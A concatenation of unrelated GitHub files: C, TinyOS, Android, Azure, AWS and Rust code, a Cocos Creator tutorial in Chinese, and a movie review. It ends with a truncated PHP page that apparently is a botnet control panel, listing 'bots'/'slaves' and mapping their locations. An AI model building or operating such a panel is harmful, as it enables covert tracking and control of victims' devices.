for (kd = ipsec_conf_keywords; kd->keyname != NULL; kd++) {
if (strstr(kd->keyname, "protostack")) {
if (cfg->setup.strings[kd->field]) {
printf("%s\n",
cfg->setup.strings[kd->field]);
} else {
/* implicit default */
printf("netkey\n");
}
}
}
confread_free(cfg);
exit(0);
}
if (configsetup) {
const struct keyword_def *kd;
printf("%s %sconfreadstatus=''\n", export, varprefix);
for (kd = ipsec_conf_keywords; kd->keyname != NULL; kd++) {
if ((kd->validity & kv_config) == 0)
continue;
/* don't print backwards compatible aliases */
if ((kd->validity & kv_alias) != 0)
continue;
char *safe_kwname = environlize(kd->keyname);
switch (kd->type) {
case kt_string:
case kt_filename:
case kt_dirname:
case kt_loose_enum:
if (cfg->setup.strings[kd->field]) {
printf("%s %s%s='%s'\n",
export, varprefix, safe_kwname,
cfg->setup.strings[kd->field]);
}
break;
case kt_bool:
printf("%s %s%s='%s'\n", export, varprefix,
safe_kwname,
bool_str(cfg->setup.options[kd->field]));
break;
case kt_list:
printf("%s %s%s='",
export, varprefix, safe_kwname);
confwrite_list(stdout, "",
cfg->setup.options[kd->field],
kd);
printf("'\n");
break;
case kt_obsolete:
break;
default:
if (cfg->setup.options[kd->field] ||
cfg->setup.options_set[kd->field]) {
printf("%s %s%s='%d'\n",
export, varprefix, safe_kwname,
cfg->setup.options[kd->field]);
}
break;
}
free(safe_kwname);
}
confread_free(cfg);
exit(0);
}
confread_free(cfg);
#ifdef USE_DNSSEC
unbound_ctx_free();
#endif
/*
* Only RC_ codes between RC_EXIT_FLOOR (RC_DUPNAME) and
* RC_EXIT_ROOF (RC_NEW_V1_STATE) are errors Some starter code
* above can also return -1 which is not a valid RC_ code
*/
if (exit_status > 0 && (exit_status < RC_EXIT_FLOOR || exit_status >= RC_EXIT_ROOF))
exit_status = 0;
exit(exit_status);
}
| {
"pile_set_name": "Github"
} |
// $Id: ExtFlashP.nc,v 1.2 2010-06-29 22:07:50 scipio Exp $
/*
* Copyright (c) 2000-2005 The Regents of the University of California.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the
* distribution.
* - Neither the name of the copyright holders nor the names of
* its contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
* THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
* @author Jonathan Hui <[email protected]>
*/
module ExtFlashP {
provides {
interface StdControl;
interface Init;
interface ExtFlash;
}
uses {
interface HplUsartControl as UsartControl;
}
}
implementation {
command error_t Init.init() {
TOSH_MAKE_FLASH_HOLD_OUTPUT();
TOSH_MAKE_FLASH_CS_OUTPUT();
TOSH_SET_FLASH_HOLD_PIN();
call UsartControl.setModeSPI();
return SUCCESS;
}
command error_t StdControl.start() {
return SUCCESS;
}
command error_t StdControl.stop() {
TOSH_CLR_FLASH_CS_PIN();
call UsartControl.tx(0xb9);
while(call UsartControl.isTxEmpty() != SUCCESS);
TOSH_SET_FLASH_CS_PIN();
call UsartControl.disableSPI();
return SUCCESS;
}
void powerOnFlash() {
uint8_t i;
TOSH_CLR_FLASH_CS_PIN();
// command byte + 3 dummy bytes + signature
for ( i = 0; i < 5; i++ ) {
call UsartControl.tx(0xab);
while(call UsartControl.isTxIntrPending() != SUCCESS);
}
TOSH_SET_FLASH_CS_PIN();
}
command void ExtFlash.startRead(uint32_t addr) {
uint8_t i;
powerOnFlash();
TOSH_CLR_FLASH_CS_PIN();
// add command byte to address
addr |= (uint32_t)0x3 << 24;
// address
for ( i = 4; i > 0; i-- ) {
call UsartControl.tx((addr >> (i-1)*8) & 0xff);
while(call UsartControl.isTxIntrPending() != SUCCESS);
}
}
command uint8_t ExtFlash.readByte() {
call UsartControl.rx();
call UsartControl.tx(0);
while(call UsartControl.isRxIntrPending() != SUCCESS);
return call UsartControl.rx();
}
command void ExtFlash.stopRead() {
TOSH_SET_FLASH_CS_PIN();
}
}
| {
"pile_set_name": "Github"
} |
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24"
android:tint="?attr/colorControlNormal">
<path
android:fillColor="@android:color/white"
android:pathData="M12,12m-3,0a3,3 0,1 1,6 0a3,3 0,1 1,-6 0"
android:strokeAlpha="0.3"
android:fillAlpha="0.3"/>
<path
android:fillColor="@android:color/white"
android:pathData="M7,12c0,2.76 2.24,5 5,5s5,-2.24 5,-5 -2.24,-5 -5,-5 -5,2.24 -5,5zM15,12c0,1.65 -1.35,3 -3,3s-3,-1.35 -3,-3 1.35,-3 3,-3 3,1.35 3,3zM3,19c0,1.1 0.9,2 2,2h4v-2L5,19v-4L3,15v4zM3,5v4h2L5,5h4L9,3L5,3c-1.1,0 -2,0.9 -2,2zM21,5c0,-1.1 -0.9,-2 -2,-2h-4v2h4v4h2L21,5zM19,19h-4v2h4c1.1,0 2,-0.9 2,-2v-4h-2v4z"/>
</vector>
| {
"pile_set_name": "Github"
} |
# 你的第一个扩展包
本文会教你如何创建一个简单的 Cocos Creator 扩展包,并且向你介绍一些扩展包中的基本概念。通过学习,你将会创建一个扩展包,并在主菜单中建立一个菜单项,并通过该菜单项在主进程中执行一条扩展指令。
## 创建并安装扩展包
创建一个空文件夹命名为 “hello-world”,并在该文件夹中创建 `main.js` 和 `package.json` 两个文本文件。该扩展包的结构大致如下:
```
hello-world
|--main.js
|--package.json
```
将该文件夹放入到 `~/.CocosCreator/packages`(Windows 用户为 `C:\Users\${你的用户名}\.CocosCreator\packages`),或者放入到 `${你的项目路径}/packages` 文件夹下即可完成扩展包的安装。
## 定义你的包描述文件:package.json
每个包都需要一份 `package.json` 文件去描述他的用途,这样 Cocos Creator 编辑器才能知道这个包要扩展什么,从而正确加载。值得一提的是,虽然 `package.json` 在很多字段上的定义和 node.js 的 npm-package 相似,它们仍然是为不同的产品服务的,所以从 npm 社区中下载的包,并不能直接放入到 Cocos Creator 中变成插件,但是可以使用它。
我们在这里做一份简单的 `package.json`:
```json
{
"name": "hello-world",
"version": "0.0.1",
"description": "一份简单的扩展包",
"author": "Cocos Creator",
"main": "main.js",
"main-menu": {
"Packages/Hello World": {
"message": "hello-world:say-hello"
}
}
}
```
解释:
- `name` String - 定义了包的名字,包的名字是全局唯一的,他关系到你今后在官网服务器上登录时的名字。
- `version` String - 版本号,我们推荐使用 [semver](http://semver.org/) 格式管理你的包版本。
- `description` String(可选) - 一句话描述你的包是做什么的。
- `author` String(可选) - 扩展包的作者
- `main` String (可选) - 入口程序
- `main-menu` Object (可选) - 主菜单定义
## 入口程序
当你定义好你的描述文件以后,接下来就要书写你的入口程序 `main.js` 了。定义如下:
```javascript
'use strict';
module.exports = {
load () {
// 当 package 被正确加载的时候执行
},
unload () {
// 当 package 被正确卸载的时候执行
},
messages: {
'say-hello' () {
Editor.log('Hello World!');
}
},
};
```
这份入口程序会在 Cocos Creator 的主进程中被加载,在加载成功后,他会调用入口程序中的 `load` 函数。并且会将定义在 `messages` 字段中的函数注册成 IPC 消息。更多关于入口函数中的消息注册,以及 IPC 消息的内容,我们会在 [IPC简介](introduction-to-ipc.md) 中讲解。
这里我们只要明白,入口函数中的 `messages` 字段中的函数,将会在主进程的 IPC 监听模块中,注册一份消息,其格式为 `${扩展包名}:${函数名}`,并将对应的函数作为 IPC 响应的函数。
## 运行扩展包程序
现在你可以打开你的 Cocos Creator,你将会发现你的主菜单中多出了一份 `Packages` 的菜单,点击 `Packages` 菜单中的 `Hello World` 将会发送一个消息 “hello-world:say-hello” 给我们的扩展包的 `main.js`, 它会在 Creator 的控制台中打印出 “Hello World” 的日志信息。
恭喜你完成了第一个简单的编辑器扩展工具。 | {
"pile_set_name": "Github"
} |
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
# --------------------------------------------------------------------------
import uuid
from msrest.pipeline import ClientRawResponse
from .. import models
class ReportsOperations(object):
"""ReportsOperations operations.
You should not instantiate directly this class, but create a Client instance that will create it for you and attach it as attribute.
:param client: Client for service requests.
:param config: Configuration of service client.
:param serializer: An object model serializer.
:param deserializer: An object model deserializer.
:ivar api_version: Client API version. Constant value: "2019-11-01".
"""
models = models
def __init__(self, client, config, serializer, deserializer):
self._client = client
self._serialize = serializer
self._deserialize = deserializer
self.api_version = "2019-11-01"
self.config = config
def get_latency_scorecards(
self, resource_group_name, profile_name, experiment_name, aggregation_interval, end_date_time_utc=None, country=None, custom_headers=None, raw=False, **operation_config):
"""Gets a Latency Scorecard for a given Experiment.
:param resource_group_name: Name of the Resource group within the
Azure subscription.
:type resource_group_name: str
:param profile_name: The Profile identifier associated with the Tenant
and Partner
:type profile_name: str
:param experiment_name: The Experiment identifier associated with the
Experiment
:type experiment_name: str
:param aggregation_interval: The aggregation interval of the Latency
Scorecard. Possible values include: 'Daily', 'Weekly', 'Monthly'
:type aggregation_interval: str or
~azure.mgmt.frontdoor.models.LatencyScorecardAggregationInterval
:param end_date_time_utc: The end DateTime of the Latency Scorecard in
UTC
:type end_date_time_utc: str
:param country: The country associated with the Latency Scorecard.
Values are country ISO codes as specified here-
https://www.iso.org/iso-3166-country-codes.html
:type country: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: LatencyScorecard or ClientRawResponse if raw=true
:rtype: ~azure.mgmt.frontdoor.models.LatencyScorecard or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`ErrorResponseException<azure.mgmt.frontdoor.models.ErrorResponseException>`
"""
# Construct URL
url = self.get_latency_scorecards.metadata['url']
path_format_arguments = {
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str'),
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str', max_length=80, min_length=1, pattern=r'^[a-zA-Z0-9_\-\(\)\.]*[^\.]$'),
'profileName': self._serialize.url("profile_name", profile_name, 'str', pattern=r'^[a-zA-Z0-9_\-\(\)\.]*[^\.]$'),
'experimentName': self._serialize.url("experiment_name", experiment_name, 'str', pattern=r'^[a-zA-Z0-9_\-\(\)\.]*[^\.]$')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
if end_date_time_utc is not None:
query_parameters['endDateTimeUTC'] = self._serialize.query("end_date_time_utc", end_date_time_utc, 'str')
if country is not None:
query_parameters['country'] = self._serialize.query("country", country, 'str')
query_parameters['aggregationInterval'] = self._serialize.query("aggregation_interval", aggregation_interval, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise models.ErrorResponseException(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('LatencyScorecard', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_latency_scorecards.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/NetworkExperimentProfiles/{profileName}/Experiments/{experimentName}/LatencyScorecard'}
def get_timeseries(
self, resource_group_name, profile_name, experiment_name, start_date_time_utc, end_date_time_utc, aggregation_interval, timeseries_type, endpoint=None, country=None, custom_headers=None, raw=False, **operation_config):
"""Gets a Timeseries for a given Experiment.
:param resource_group_name: Name of the Resource group within the
Azure subscription.
:type resource_group_name: str
:param profile_name: The Profile identifier associated with the Tenant
and Partner
:type profile_name: str
:param experiment_name: The Experiment identifier associated with the
Experiment
:type experiment_name: str
:param start_date_time_utc: The start DateTime of the Timeseries in
UTC
:type start_date_time_utc: datetime
:param end_date_time_utc: The end DateTime of the Timeseries in UTC
:type end_date_time_utc: datetime
:param aggregation_interval: The aggregation interval of the
Timeseries. Possible values include: 'Hourly', 'Daily'
:type aggregation_interval: str or
~azure.mgmt.frontdoor.models.TimeseriesAggregationInterval
:param timeseries_type: The type of Timeseries. Possible values
include: 'MeasurementCounts', 'LatencyP50', 'LatencyP75', 'LatencyP95'
:type timeseries_type: str or
~azure.mgmt.frontdoor.models.TimeseriesType
:param endpoint: The specific endpoint
:type endpoint: str
:param country: The country associated with the Timeseries. Values are
country ISO codes as specified here-
https://www.iso.org/iso-3166-country-codes.html
:type country: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: Timeseries or ClientRawResponse if raw=true
:rtype: ~azure.mgmt.frontdoor.models.Timeseries or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`ErrorResponseException<azure.mgmt.frontdoor.models.ErrorResponseException>`
"""
# Construct URL
url = self.get_timeseries.metadata['url']
path_format_arguments = {
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str'),
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str', max_length=80, min_length=1, pattern=r'^[a-zA-Z0-9_\-\(\)\.]*[^\.]$'),
'profileName': self._serialize.url("profile_name", profile_name, 'str', pattern=r'^[a-zA-Z0-9_\-\(\)\.]*[^\.]$'),
'experimentName': self._serialize.url("experiment_name", experiment_name, 'str', pattern=r'^[a-zA-Z0-9_\-\(\)\.]*[^\.]$')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
query_parameters['startDateTimeUTC'] = self._serialize.query("start_date_time_utc", start_date_time_utc, 'iso-8601')
query_parameters['endDateTimeUTC'] = self._serialize.query("end_date_time_utc", end_date_time_utc, 'iso-8601')
query_parameters['aggregationInterval'] = self._serialize.query("aggregation_interval", aggregation_interval, 'str')
query_parameters['timeseriesType'] = self._serialize.query("timeseries_type", timeseries_type, 'str')
if endpoint is not None:
query_parameters['endpoint'] = self._serialize.query("endpoint", endpoint, 'str')
if country is not None:
query_parameters['country'] = self._serialize.query("country", country, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise models.ErrorResponseException(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('Timeseries', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_timeseries.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/NetworkExperimentProfiles/{profileName}/Experiments/{experimentName}/Timeseries'}
| {
"pile_set_name": "Github"
} |
#![cfg(not(tarpaulin_include))]
use proc_macro::TokenStream;
use quote::quote;
use syn::{parse_macro_input, Attribute, Data, DeriveInput, Meta, NestedMeta, Path};
/// This procedural macro implements the `AsValue` trait as well as several required other traits.
/// All of these traits enable creating an `inkwell::values::StructValue` from a generic struct, as
/// long as all fields of the struct also implement `AsValue`.
#[proc_macro_derive(AsValue)]
pub fn as_value_derive(input: TokenStream) -> TokenStream {
// Parse Phase
let derive_input = parse_macro_input!(input as DeriveInput);
let struct_data = match derive_input.data {
Data::Struct(data) => data,
Data::Union(_) => panic!("#[derive(AsValue)] is only defined for structs, not for unions!"),
Data::Enum(_) => panic!("#[derive(AsValue)] is only defined for structs, not for enums!"),
};
// Get the typename of the struct we're working with
let ident = {
let ident = derive_input.ident;
let generics = derive_input.generics;
quote! {
#ident #generics
}
};
// Generate a list of where clauses that ensure that we can cast each field to an
// `inkwell::types::BasicTypeEnum`
let field_types = struct_data.fields.iter().map(|f| {
let ty = &f.ty;
quote! {
Into::<inkwell::types::BasicTypeEnum<'ink>>::into(<#ty>::get_ir_type(context))
}
});
// Generate a list of where clauses that ensure that we can cast each field to an
// `inkwell::values::BasicTypeValue`
let field_types_values = struct_data.fields.iter().enumerate().map(|(idx, f)| {
let name = f.ident.as_ref().map(|i| quote! { #i }).unwrap_or_else(|| quote! { #idx });
quote! {
{
let value = crate::value::AsValueInto::<'ink, inkwell::values::BasicValueEnum<'ink>>::as_value_into(&self. #name, context);
// eprintln!("- {:?}", value.get_type());
value
}
}
});
// Generate Phase
(quote! {
impl<'ink> crate::value::ConcreteValueType<'ink> for #ident {
type Value = inkwell::values::StructValue<'ink>;
}
impl<'ink> crate::value::SizedValueType<'ink> for #ident {
fn get_ir_type(context: &crate::value::IrTypeContext<'ink, '_>) -> inkwell::types::StructType<'ink> {
let key = std::any::type_name::<#ident>();
match context.struct_types.borrow().get(&key) {
Some(value) => {
return *value;
}
None => (),
};
let struct_ty = context.context.opaque_struct_type(key);
context.struct_types.borrow_mut().insert(key, struct_ty);
struct_ty.set_body(&[
#(#field_types),*
], false);
struct_ty
}
}
impl<'ink> crate::value::PointerValueType<'ink> for #ident {
fn get_ptr_type(context: &crate::value::IrTypeContext<'ink, '_>, address_space: Option<inkwell::AddressSpace>) -> inkwell::types::PointerType<'ink> {
Self::get_ir_type(context).ptr_type(address_space.unwrap_or(inkwell::AddressSpace::Generic))
}
}
impl<'ink> crate::value::AsValue<'ink, #ident> for #ident {
fn as_value(&self, context: &crate::value::IrValueContext<'ink, '_, '_>) -> crate::value::Value<'ink, Self> {
let struct_type = Self::get_ir_type(context.type_context);
// eprintln!("Constructing: {:?}", struct_type.print_to_string().to_string());
let value = struct_type.const_named_struct(&[
#(#field_types_values),*
]);
// eprintln!("Done");
crate::value::Value::from_raw(value)
}
}
impl<'ink> crate::value::AddressableType<'ink, #ident> for #ident {}
}).into()
}
/// A procedural macro that implements the `TestIsAbiCompatible` trait for a struct. This
/// implementation enables testing for every field of a struct whether its abi type is compatible
/// with the current implementation.
#[proc_macro_derive(TestIsAbiCompatible, attributes(abi_type))]
pub fn is_abi_compatible_derive(input: TokenStream) -> TokenStream {
// Parse Phase
let derive_input = parse_macro_input!(input as DeriveInput);
let struct_data = match derive_input.data {
Data::Struct(data) => data,
Data::Union(_) => {
panic!("#[derive(IsAbiCompatible)] is only defined for structs, not for unions!")
}
Data::Enum(_) => {
panic!("#[derive(IsAbiCompatible)] is only defined for structs, not for enums!")
}
};
// Parse the [abi_type(...)] part
let mut abi_type_name: Option<Path> = None;
for attr in derive_input
.attrs
.iter()
.filter(|a| {
a.path
.get_ident()
.map(|i| *i == "abi_type")
.unwrap_or(false)
})
.map(Attribute::parse_meta)
.filter_map(|x| x.ok())
{
if let Meta::List(meta_list) = attr {
if meta_list.nested.len() != 1 {
panic!("expected abi_type to be a single path")
} else if let NestedMeta::Meta(Meta::Path(p)) = meta_list.nested.first().unwrap() {
abi_type_name = Some(p.clone());
}
} else {
panic!("expected abi_type to be path got: {:?}", attr)
}
}
let abi_type = if let Some(tokens) = abi_type_name {
tokens
} else {
panic!("#[derive(IsAbiCompatible)] required abi_type to be defined")
};
// Construct the abi type path string
let abi_type_name = abi_type
.segments
.iter()
.map(|s| format!("{}", s.ident))
.collect::<Vec<_>>()
.join("::");
let struct_generics = {
let generics = &derive_input.generics;
quote! {
#generics
}
};
// Get the type and name of the struct we're implementing this for
let struct_type = {
let ident = derive_input.ident;
let generics = derive_input.generics;
quote! {
#ident #generics
}
};
let struct_type_name = format!("{}", struct_type);
// Generate code for every field to test its compatibility
let field_types = struct_data.fields.iter().map(|f| {
let ty = &f.ty;
let name = f.ident.as_ref().unwrap().to_string();
let ident = f.ident.as_ref().unwrap();
quote! {
self::test::AbiTypeHelper::from_value(&abi_value.#ident)
.ir_type::<#ty>()
.assert_compatible(#struct_type_name, #abi_type_name, #name);
}
});
// Generate Phase
(quote! {
#[cfg(test)]
impl #struct_generics self::test::TestIsAbiCompatible<#abi_type> for #struct_type {
fn test(abi_value: &#abi_type) {
use self::test::*;
#(#field_types)*
}
}
#[cfg(test)]
impl #struct_generics self::test::IsAbiCompatible<#abi_type> for #struct_type {}
#[cfg(test)]
impl #struct_generics self::test::IsAbiCompatible<#struct_type> for #struct_type {}
})
.into()
}
| {
"pile_set_name": "Github"
} |
it is movies like these that make a jaded movie viewer thankful for the invention of the timex indiglo watch .
based on the late 1960's television show by the same name , the mod squad tells the tale of three reformed criminals under the employ of the police to go undercover .
however , things go wrong as evidence gets stolen and they are immediately under suspicion .
of course , the ads make it seem like so much more .
quick cuts , cool music , claire dane's nice hair and cute outfits , car chases , stuff blowing up , and the like .
sounds like a cool movie , does it not ?
after the first fifteen minutes , it quickly becomes apparent that it is not .
the mod squad is certainly a slick looking production , complete with nice hair and costumes , but that simply isn't enough .
the film is best described as a cross between an hour-long cop show and a music video , both stretched out into the span of an hour and a half .
and with it comes every single clich ? .
it doesn't really matter that the film is based on a television show , as most of the plot elements have been recycled from everything we've already seen .
the characters and acting is nothing spectacular , sometimes even bordering on wooden .
claire danes and omar epps deliver their lines as if they are bored , which really transfers onto the audience .
the only one to escape relatively unscathed is giovanni ribisi , who plays the resident crazy man , ultimately being the only thing worth watching .
unfortunately , even he's not enough to save this convoluted mess , as all the characters don't do much apart from occupying screen time .
with the young cast , cool clothes , nice hair , and hip soundtrack , it appears that the film is geared towards the teenage mindset .
despite an american 'r' rating ( which the content does not justify ) , the film is way too juvenile for the older mindset .
information on the characters is literally spoon-fed to the audience ( would it be that hard to show us instead of telling us ? ) , dialogue is poorly written , and the plot is extremely predictable .
the way the film progresses , you likely won't even care if the heroes are in any jeopardy , because you'll know they aren't .
basing the show on a 1960's television show that nobody remembers is of questionable wisdom , especially when one considers the target audience and the fact that the number of memorable films based on television shows can be counted on one hand ( even one that's missing a finger or two ) .
the number of times that i checked my watch ( six ) is a clear indication that this film is not one of them .
it is clear that the film is nothing more than an attempt to cash in on the teenage spending dollar , judging from the rash of really awful teen-flicks that we've been seeing as of late .
avoid this film at all costs .
| {
"pile_set_name": "Github"
} |
/**
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
* SPDX-License-Identifier: Apache-2.0.
*/
#include <aws/ec2/model/GpuDeviceMemoryInfo.h>
#include <aws/core/utils/xml/XmlSerializer.h>
#include <aws/core/utils/StringUtils.h>
#include <aws/core/utils/memory/stl/AWSStringStream.h>
#include <utility>
using namespace Aws::Utils::Xml;
using namespace Aws::Utils;
namespace Aws
{
namespace EC2
{
namespace Model
{
GpuDeviceMemoryInfo::GpuDeviceMemoryInfo() :
m_sizeInMiB(0),
m_sizeInMiBHasBeenSet(false)
{
}
GpuDeviceMemoryInfo::GpuDeviceMemoryInfo(const XmlNode& xmlNode) :
m_sizeInMiB(0),
m_sizeInMiBHasBeenSet(false)
{
*this = xmlNode;
}
GpuDeviceMemoryInfo& GpuDeviceMemoryInfo::operator =(const XmlNode& xmlNode)
{
XmlNode resultNode = xmlNode;
if(!resultNode.IsNull())
{
XmlNode sizeInMiBNode = resultNode.FirstChild("sizeInMiB");
if(!sizeInMiBNode.IsNull())
{
m_sizeInMiB = StringUtils::ConvertToInt32(StringUtils::Trim(Aws::Utils::Xml::DecodeEscapedXmlText(sizeInMiBNode.GetText()).c_str()).c_str());
m_sizeInMiBHasBeenSet = true;
}
}
return *this;
}
void GpuDeviceMemoryInfo::OutputToStream(Aws::OStream& oStream, const char* location, unsigned index, const char* locationValue) const
{
if(m_sizeInMiBHasBeenSet)
{
oStream << location << index << locationValue << ".SizeInMiB=" << m_sizeInMiB << "&";
}
}
void GpuDeviceMemoryInfo::OutputToStream(Aws::OStream& oStream, const char* location) const
{
if(m_sizeInMiBHasBeenSet)
{
oStream << location << ".SizeInMiB=" << m_sizeInMiB << "&";
}
}
} // namespace Model
} // namespace EC2
} // namespace Aws
| {
"pile_set_name": "Github"
} |
<?php
if (file_exists("reg.php")) {
include("reg.php");
if ($validDomain == "false") {
die("Unauthorized Domain: Please contact support.");
}
} else {
die("Missing Files: Please contact support.");
}
if (file_exists("config.php")) {
include("config.php");
} else {
header('Location: setup/');
}
session_start();
if (empty($_SESSION['code'])) {
header( 'Location: index.php' ) ;
die();
}
include("functions.php");
$getslaves = 'SELECT * FROM bots ORDER BY id';
?>
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Control</title>
<link href="assets/css/bootstrap.css" rel="stylesheet" media="screen">
<link href="assets/css/bootstrap-glyphicons.css" rel="stylesheet" media="screen">
<script src="http://code.jquery.com/jquery.js"></script>
<script src="assets/js/jquery.tablesorter.min.js"></script>
<script src="assets/js/jquery.tablesorter.widgets.min.js"></script>
<script src="assets/js/date.js"></script>
<style type="text/css">
body {
background-image:url('assets/img/login_bg.png');
}
.main {
width: 98%;
height: 98%;
background-color: #ffffff;
border: 1px solid #999999;
border: 1px solid rgba(0, 0, 0, 0.2);
border-radius: 6px;
outline: none;
-webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);
box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);
position: absolute;
top: 0;
bottom: 0;
left: 0;
right: 0;
margin: auto;
padding: 15px 15px 15px 15px;
}
.logo {
margin: 0 0 0 -140px;
height: 532px;
width: 200px;
z-index:-1;
position: absolute;
}
#func td {
padding: 2px 2px 2px 2px;
text-align: center;
}
.map {
width: 100%;
height: 82%;
margin-bottom: 5px;
}
#files td {
padding: 2px 2px 2px 2px;
text-align: center;
}
.row {
margin: 0 0 -5px 0;
}
.fullwidth {
width: 100%;
min-width: 135px;
}
.halfwidth {
width: 48%;
}
.addselection {
min-width: 30px;
}
.devicestable {
border: 1px solid #999999;
border: 1px solid rgba(0, 0, 0, 0.2);
border-radius: 6px;
margin-bottom: 5px;
}
.functionslist {
border: 1px solid #999999;
border: 1px solid rgba(0, 0, 0, 0.2);
border-radius: 6px;
margin-bottom: 5px;
}
.messageboxcontainer {
border: 1px solid #999999;
border: 1px solid rgba(0, 0, 0, 0.2);
border-radius: 6px;
min-height: 185px;
max-height: 39%;
/* position: absolute; */
}
.filestable {
border: 1px solid #999999;
border: 1px solid rgba(0, 0, 0, 0.2);
border-radius: 6px;
min-height: 185px;
max-height: 185px;
padding-top: 5px;
}
.mapcontainer {
border: 1px solid #999999;
border: 1px solid rgba(0, 0, 0, 0.2);
border-radius: 6px;
min-height: 185px;
max-height: 39%;
padding: 5px 5px 5px 5px;
/* position: absolute; */
}
input {
text-align: center;
}
</style>
<script src="https://maps.googleapis.com/maps/api/js?v=3.exp&sensor=false"></script>
<script>
var map;
function initialize() {
var mapOptions = {
zoom: 0,
center: new google.maps.LatLng(0.0, 0.0),
disableDefaultUI: true,
panControl: false,
zoomControl: true,
scaleControl: false,
mapTypeId: google.maps.MapTypeId.HYBRID
};
map = new google.maps.Map(document.getElementById('map-canvas'),
mapOptions);
}
google.maps.event.addDomListener(window, 'load', initialize);
</script>
<script>
var selected=new Array();
var markersArray = [];
function gmapsmarker(location1, location2, title) {
var marker = new google.maps.Marker({
position: new google.maps.LatLng(location1, location2),
map: map,
animation: google.maps.Animation.DROP,
title: title
});
markersArray.push(marker);
}
function deleteOverlays() {
if (markersArray) {
for (i in markersArray) {
markersArray[i].setMap(null);
}
markersArray.length = 0;
}
}
function deleteMarker(deltitle) {
return markersArray.indexOf(deltitle);
}
function select(bot, lat, longi) {
if (document.getElementById(bot).innerHTML == '-') {
document.getElementById(bot).innerHTML = '+';
for(var i in selected){
if(selected[i]==bot){
selected.splice(i,1);
break;
}
}
document.getElementById("selectednumber").innerHTML = selected.length;
if (selected.length==0) {
document.getElementById("selectednumber").setAttribute("data-original-title", "None Selected");
deleteOverlays();
} else {
document.getElementById("selectednumber").setAttribute("data-original-title", selected.join(', '));
}
} else {
if (selected.indexOf(bot) == -1) {
selected.push(bot);
}
document.getElementById(bot).innerHTML = '-';
document.getElementById("selectednumber").innerHTML = selected.length;
document.getElementById("selectednumber").setAttribute("data-original-title", selected.join(', '));
gmapsmarker(lat, longi, bot);
}
}
function clearselection() {
for (var i=0;i<selected.length;i++) {
